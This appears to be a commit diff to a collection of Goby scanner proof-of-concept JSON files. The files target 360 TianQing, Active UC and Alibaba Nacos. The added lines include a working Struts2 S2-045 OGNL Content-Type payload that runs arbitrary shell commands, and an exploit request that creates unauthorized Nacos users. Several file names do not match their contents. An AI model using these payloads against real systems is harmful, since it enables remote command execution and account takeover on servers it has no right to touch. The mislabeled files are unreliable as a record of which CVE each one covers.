up lib/goby 2022-09-02

Author: hktalent

lib/goby/goby_pocs/360_TianQing_ccid_SQL_injectable.json

@@ -1,31 +1,25 @@
 {
       "Name": "360 TianQing ccid SQL injectable",
       "Level": "2",
-      "Tags": [
-            "sqli"
-      ],
+      "Tags": [],
       "GobyQuery": "app=\"360-TianQing\"",
-      "Description": "",
+      "Description": "The attacker can get the server permission by injecting SQL into the upload Trojan",
       "Product": "360 TianQing",
-      "Homepage": "https://360.net/product-center/Endpoint-Security/management-system",
-      "Author": "",
-      "Impact": "The attacker can get the server permission by injecting SQL into the upload Trojan.",
-      "Recommendation": "update",
-      "References": [],
-      "HasExp": true,
-      "ExpParams": null,
-      "ExpTips": {
-            "Type": "",
-            "Content": ""
-      },
+      "Homepage": "htp://360.cn",
+      "Author": "PeiQi",
+      "Impact": "<p>The attacker can get the server permission by injecting SQL into the upload Trojan<br></p>",
+      "Recommandation": "",
+      "References": [
+            "http://wiki.peiqi.tech"
+      ],
       "ScanSteps": [
             "AND",
             {
                   "Request": {
                         "method": "GET",
                         "uri": "/api/dp/rptsvcsyncpoint?ccid=1",
                         "follow_redirect": true,
-                        "header": null,
+                        "header": {},
                         "data_type": "text",
                         "data": ""
                   },
@@ -66,43 +60,6 @@
                   "SetVariable": []
             }
       ],
-      "ExploitSteps": [
-            "AND",
-            {
-                  "Request": {
-                        "method": "GET",
-                        "uri": "/test.php",
-                        "follow_redirect": true,
-                        "header": null,
-                        "data_type": "text",
-                        "data": "",
-                        "set_variable": []
-                  },
-                  "ResponseTest": {
-                        "type": "group",
-                        "operation": "AND",
-                        "checks": [
-                              {
-                                    "type": "item",
-                                    "variable": "$code",
-                                    "operation": "==",
-                                    "value": "200",
-                                    "bz": ""
-                              },
-                              {
-                                    "type": "item",
-                                    "variable": "$body",
-                                    "operation": "contains",
-                                    "value": "test",
-                                    "bz": ""
-                              }
-                        ]
-                  },
-                  "SetVariable": [
-                        "output|lastbody|regex|"
-                  ]
-            }
-      ],
-      "PostTime": "0000-00-00 00:00:00",
-      "GobyVersion": "0.0.0"
+      "PostTime": "2021-04-09 08:51:50",
+      "GobyVersion": "1.8.255"
 }

lib/goby/goby_pocs/360_Tianqing_database_information_disclosure.json

@@ -1,31 +1,27 @@
 {
-      "Name": "360 TianQing database information disclosure",
+      "Name": "360 Tianqing database information disclosure",
       "Level": "0",
       "Tags": [
             "Disclosure of Sensitive Information"
       ],
       "GobyQuery": "app=\"360-TianQing\"",
-      "Description": "",
-      "Product": "360 TianQing",
-      "Homepage": "https://360.net/product-center/Endpoint-Security/management-system",
-      "Author": "",
-      "Impact": "Tianqing has unauthorized unauthorized unauthorized access, resulting in the disclosure of sensitive information.",
-      "Recommendation": "update",
-      "References": [],
-      "HasExp": true,
-      "ExpParams": null,
-      "ExpTips": {
-            "Type": "",
-            "Content": ""
-      },
+      "Description": "Tianqing has unauthorized unauthorized unauthorized access, resulting in the disclosure of sensitive information",
+      "Product": "360 Tianqing",
+      "Homepage": "https://www.360.cn/",
+      "Author": "PeiQi",
+      "Impact": "",
+      "Recommandation": "<p>undefined</p>",
+      "References": [
+            "http://wiki.peiqi.tech"
+      ],
       "ScanSteps": [
             "AND",
             {
                   "Request": {
                         "method": "GET",
                         "uri": "/api/dbstat/gettablessize",
                         "follow_redirect": false,
-                        "header": null,
+                        "header": {},
                         "data_type": "text",
                         "data": ""
                   },
@@ -66,43 +62,6 @@
                   "SetVariable": []
             }
       ],
-      "ExploitSteps": [
-            "AND",
-            {
-                  "Request": {
-                        "method": "GET",
-                        "uri": "/test.php",
-                        "follow_redirect": true,
-                        "header": null,
-                        "data_type": "text",
-                        "data": "",
-                        "set_variable": []
-                  },
-                  "ResponseTest": {
-                        "type": "group",
-                        "operation": "AND",
-                        "checks": [
-                              {
-                                    "type": "item",
-                                    "variable": "$code",
-                                    "operation": "==",
-                                    "value": "200",
-                                    "bz": ""
-                              },
-                              {
-                                    "type": "item",
-                                    "variable": "$body",
-                                    "operation": "contains",
-                                    "value": "test",
-                                    "bz": ""
-                              }
-                        ]
-                  },
-                  "SetVariable": [
-                        "output|lastbody|regex|"
-                  ]
-            }
-      ],
-      "PostTime": "0000-00-00 00:00:00",
-      "GobyVersion": "0.0.0"
+      "PostTime": "2021-04-08 16:04:28",
+      "GobyVersion": "1.8.255"
 }

lib/goby/goby_pocs/ADSelfService_Plus_RCE_CVE-2021-40539.json

@@ -1,29 +1,28 @@
 {
-      "Name": "Active UC index.action RCE",
+      "Name": "Active UC index.action 远程命令执行漏洞",
       "Level": "3",
       "Tags": [
             "RCE"
       ],
       "GobyQuery": "title=\"网动统一通信平台(Active UC)\"",
-      "Description": "",
-      "Product": "Active UC",
-      "Homepage": "http://www.iactive.com.cn/",
-      "Author": "",
-      "Impact": "Active UC index.action has a RCE vulnerability.",
-      "Recommendation": "update",
-      "References": [],
-      "HasExp": true,
-      "ExpParams": [
-            {
-                  "Name": "cmd",
-                  "Type": "input",
-                  "Value": "whoami"
-            }
+      "Description": "网动统一通信平台 Active UC index.action 存在S2-045远程命令执行漏洞, 通过漏洞可以执行任意命令",
+      "Product": "网动统一通信平台(Active UC)",
+      "Homepage": "https://gobies.org/",
+      "Author": "luckying",
+      "Impact": "",
+      "Recommandation": "",
+      "References": [
+            "https://gobies.org/"
       ],
-      "ExpTips": {
-            "Type": "",
-            "Content": ""
-      },
+	  "HasExp": true,
+	  "ExpParams": [
+		{
+			"name": "Cmd",
+			"type": "input",
+			"value": "whoami",
+			"show": ""
+		}
+	  ],
       "ScanSteps": [
             "AND",
             {
@@ -42,7 +41,7 @@
                               "Pragma": "no-cache"
                         },
                         "data_type": "text",
-                        "data": "-----------------------------18012721719170\r\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\r\nContent-Type: text/plain\r\n-----------------------------18012721719170"
+                        "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
                   },
                   "ResponseTest": {
                         "type": "group",
@@ -60,7 +59,7 @@
                   "SetVariable": []
             }
       ],
-      "ExploitSteps": [
+	  "ExploitSteps": [
             "AND",
             {
                   "Request": {
@@ -73,12 +72,12 @@
                               "Connection": "close",
                               "Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36",
                               "Charsert": "UTF-8",
-                              "Content-Type": "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
+                              "Content-Type": "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{Cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
                               "Cache-Control": "no-cache",
                               "Pragma": "no-cache"
                         },
                         "data_type": "text",
-                        "data": "-----------------------------18012721719170\r\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\r\nContent-Type: text/plain\r\n-----------------------------18012721719170"
+                        "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
                   },
                   "ResponseTest": {
                         "type": "group",
@@ -94,10 +93,10 @@
                         ]
                   },
                   "SetVariable": [
-                        "output|lastbody|undefined|undefined"
-                  ]
+					"output|lastbody"
+				  ]
             }
       ],
-      "PostTime": "0000-00-00 00:00:00",
-      "GobyVersion": "0.0.0"
+      "PostTime": "2021-06-28 10:08:54",
+      "GobyVersion": "1.8.268"
 }

lib/goby/goby_pocs/ADSelfService_Plus_RCE_CVE_2021_40539.json

@@ -2,38 +2,39 @@
       "Name": "Alibaba Nacos Add user not authorized",
       "Level": "2",
       "Tags": [
-            "unauthorized"
+            "Ultra vires"
       ],
-      "GobyQuery": "title=\"Nacos\"",
-      "Description": "Alibaba Nacos is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.",
+      "GobyQuery": "title==\"Nacos\"",
+      "Description": "On December 29, 2020, the Nacos official disclosed in the issue released by GitHub that there is an unauthorized access vulnerability in Alibaba Nacos due to improper handling of user agent. Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.",
       "Product": "Alibaba Nacos",
       "Homepage": "https://github.com/alibaba/nacos",
-      "Author": "",
-      "Impact": "On December 29, 2020, the Nacos official disclosed in the issue released by GitHub that there is an unauthorized access vulnerability in Alibaba Nacos due to improper handling of user agent. Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.",
-      "Recommendation": "update",
-      "References": [],
-      "HasExp": true,
-      "ExpParams": [
-            {
-                  "Name": "User",
-                  "Type": "input",
-                  "Value": "test"
-            },
-            {
-                  "Name": "Pass",
-                  "Type": "input",
-                  "Value": "test"
-            },
-            {
-                  "Name": "Dir",
-                  "Type": "select",
-                  "Value": "/v1/auth/users,/nacos/v1/auth/users"
-            }
+      "Author": "PeiQi",
+      "Impact": "<p>Through this vulnerability, the attacker can perform arbitrary operations, including creating a new user and performing post login operations.<br></p>",
+      "Recommandation": "<p>Upgrade version<br></p>",
+      "References": [
+            "http://wiki.peiqi.tech"
       ],
-      "ExpTips": {
-            "Type": "",
-            "Content": ""
-      },
+      "HasExp": true,
+	  "ExpParams": [
+		{
+			"name": "User",
+			"type": "input",
+			"value": "PeiQi",
+			"show": ""
+		},
+		{
+			"name": "Pass",
+			"type": "input",
+			"value": "PeiQi",
+			"show": ""
+		},
+		{
+			"name": "Dir",
+			"type": "select",
+			"value": "/v1/auth/users,/nacos/v1/auth/users",
+			"show": ""
+		}
+	  ],
       "ScanSteps": [
             "OR",
             {
@@ -89,7 +90,7 @@
                   "SetVariable": []
             }
       ],
-      "ExploitSteps": [
+	  "ExploitSteps": [
             "AND",
             {
                   "Request": {
@@ -102,7 +103,7 @@
                         "data_type": "text",
                         "data": "username={{{User}}}&password={{{Pass}}}"
                   },
-                  "ResponseTest": {
+				  "ResponseTest": {
                         "type": "group",
                         "operation": "AND",
                         "checks": [
@@ -116,10 +117,10 @@
                         ]
                   },
                   "SetVariable": [
-                        "output|lastbody|undefined|undefined"
-                  ]
+					"output|lastbody"
+				  ]
             }
       ],
-      "PostTime": "0000-00-00 00:00:00",
-      "GobyVersion": "0.0.0"
+      "PostTime": "2021-04-04 19:56:49",
+      "GobyVersion": "1.8.255"
 }